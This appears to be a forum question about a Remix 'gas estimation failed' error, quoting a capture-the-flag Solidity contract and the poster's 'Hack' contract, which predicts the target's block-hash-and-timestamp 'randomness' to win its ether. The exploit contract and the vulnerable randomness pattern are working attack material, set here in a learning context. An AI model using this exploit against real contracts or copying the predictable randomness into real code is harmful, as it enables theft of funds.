I have a remix "gas estimation failed" error when calling a function. I have read other questions for the same error without much success. I have compiled the code before trying to deploy. The code doesn't have any for loops. On Injected Web3 deploys fine. On Javascript VM it doesn't (instead of the contract hash it says "(MEMORY)"). When I try to call trytoguess function using InjectedWeb3 I get the "Gas estimation failed" error. On the Javscript VM I get "transact to Hack.trytoguess errored: NotFoundError: Key not found in database [hn] ". I guess there is something wrong with the code.
The first contract is taken from a CTF, so I guess it's ok. It deploys fine:
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
address(msg.sender).transfer(2 ether);
}
}
}
After deployment, I use the contact address as input for the next contract in the constructor (this one is the problematic):
pragma solidity ^0.4.21;
import "./GuessTheNewNumberChallenge.sol";
contract Hack{
address owner;
GuessTheNewNumberChallenge challenge_contract;
function Hack(address challenge_address) public{
owner = msg.sender;
challenge_contract = GuessTheNewNumberChallenge(challenge_address);
}
function withdraw() public{
require(msg.sender == owner);
address(msg.sender).transfer(address(this).balance);
}
function funds() view public returns (uint256){
return address(this).balance;
}
function trytoguess() public payable{
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
challenge_contract.guess.value(msg.value).gas(100000)(answer);
}
}
The function that fails is trytoguess()
. I tried increasing the gas limit both on remix and the code (the .gas(100000)
. at the end) without success. Also tried replacing the gas function for gasleft()
, and also remove at all the mention to gas on that line. I know this is all quite-old solidity code, but we I adapted to the latest version I had the same problem. So I guess this is unrelated to the solidity version.